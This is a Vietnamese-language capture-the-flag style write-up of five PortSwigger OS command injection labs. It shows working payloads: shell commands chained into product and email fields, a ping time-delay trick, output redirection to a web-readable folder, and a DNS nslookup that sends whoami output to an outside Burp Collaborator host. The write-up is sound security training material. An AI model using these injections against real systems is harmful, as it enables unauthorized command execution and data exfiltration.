# Portswigger OS Command Injection 😡
<style>body {text-align: justify}</style>
Hi, dưới đây là writeup của 5/5 bài lab về lỗ hổng [OS Command Injection](https://portswigger.net/web-security/os-command-injection) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger.
### 1. OS command injection, simple case
##### Description
> This lab contains an OS command injection vulnerability in the product stock checker.
>
> The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.
>
> To solve the lab, execute the `whoami` command to determine the name of the current user.
##### Writeup
Lỗ hổng OS Command injection trong bài lab này xảy ra ở chức năng `Check stock` của sản phẩm.

Ứng dụng web sử dụng script được viết trong file `stockreport.pl` để thực hiện kiểm tra số hàng còn trong kho và trả về output cho người dùng. Cụ thể, command có dạng:
```bash
stockreport.pl <productId> <storeId>
```
Thử với sản phẩm bất kì, ở đây là sản phẩm đầu tiên có `productId=1` và `storeId=1`. Lúc này command sẽ là:
```bash
stockreport.pl 1 1
```

Như vậy ta hoàn toàn có thể chèn OS command vào một trong 2 trường `productId` hoặc `storeId` để thực hiện lệnh mong muốn. Ví dụ ta sẽ chèn `storeId` thành `1; echo 'pwned'` → Command được thực thi:
```bash
stockreport.pl 1 1; echo 'pwned'
```

Lúc này có thể thấy dòng chữ `pwned` đã được trả về. Bây giờ chỉ việc thay lệnh `echo 'pwned'` thành `whoami` để solve được challenge.
```bash
stockreport.pl 1 1; whoami
```

Kết quả trả về user hiện tại là `peter-Y6C20Z` và ta đã hoàn thành bài lab.

### 2. Blind OS command injection with time delays
##### Description
> This lab contains a blind OS command injection vulnerability in the feedback function.
>
> The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.
>
> To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.
##### Writeup
Ở bài lab này, lỗ hổng OS command injection xảy ra tại chức năng feedback.

Cụ thể, server sẽ thực thi lệnh sau khi nhận được feedback từ người dùng:
```bash
mail -s "Hackeddddd" -aFrom:hacked@gmail.com feedback@vulnerable-website.com
```
Có thể thấy email của người dùng là vị trí ta có thể chèn lệnh OS bất kì. Thực hiện thay `email` thành `hacked@gmail || ping -c 10 127.0.0.1 ||` → Command có dạng:
```bash
mail -s "Hackeddddd" -aFrom:hacked@gmail.com || ping -c 10 127.0.0.1 || feedback@vulnerable-website.com
```
Khi đó, OS sẽ thực hiện ping ICMP 10 lần đến địa chỉ localhost và từ đó khiến response trả về sau 10 giây.

Như vậy, ta đã solve challenge thành công.

### 3. Blind OS command injection with output redirection
##### Description
> This lab contains a blind OS command injection vulnerability in the feedback function.
>
> The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:`/var/www/images/`.
>
> The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file.
>
> To solve the lab, execute the `whoami` command and retrieve the output.
##### Writeup
Đây lại là một dạng Blind OS Command Injection. Lần này ta sẽ ghi output của command vào 1 file thuộc folder mà user hiện tại có quyền ghi `w`, đó là `/var/www/images/`. Thư mục này chính là nơi chứa các ảnh mà ứng dụng load cho các posts thông qua param `filename`.

Tương tự bài trên, ta sẽ chèn command vào trường `email` như hình dưới. Cụ thể output của lệnh `whoami` sẽ được ghi vào file `/var/www/images/whoami`.

Truy cập đường dẫn load ảnh với `filename=whoami`, lúc này nội dùng file `/var/www/images/whoami` được trả về.

Như vậy ta đã solve được challenge.

### 4. Blind OS command injection with out-of-band interaction
##### Description
> This lab contains a blind OS command injection vulnerability in the feedback function.
>
> The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.
>
> To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.
##### Writeup
Lỗ hổng Blind OS command Injection lại được khai thác tại trường `email` của chức năng feedback. Lần này ta sẽ sử dụng lệnh `nslookup` để query DNS đến external domain. Sử dụng Burp Collaborator để host domain. Payload để chèn giống như hình dưới.

Kiểm tra Burp Collaborator ta thấy đã có các DNS query xuất hiện.

Như vậy ta đã solve được challenge.

### 5. Blind OS command injection with out-of-band data exfiltration
##### Description
> This lab contains a blind OS command injection vulnerability in the feedback function.
>
> The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.
>
> To solve the lab, execute the `whoami` command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.
##### Writeup
Nâng cấp từ bài 4, bài này sẽ trích xuất output command thông qua các DNS query. Sử dụng lệnh sau, ta sẽ lấy được output của lệnh `whoami` qua DNS query.
```bash
nslookup `whoami`.<Collaborator domain>`
```
Chèn payload như hình vào trường `email`:

Kiểm tra Burp Collaborator, ta lấy được output của `whoami` là: `peter-vVIWCX`.

Submit tên user đó và ta solve được challenge.

###### tags: `portswigger`, `OS-command-injection`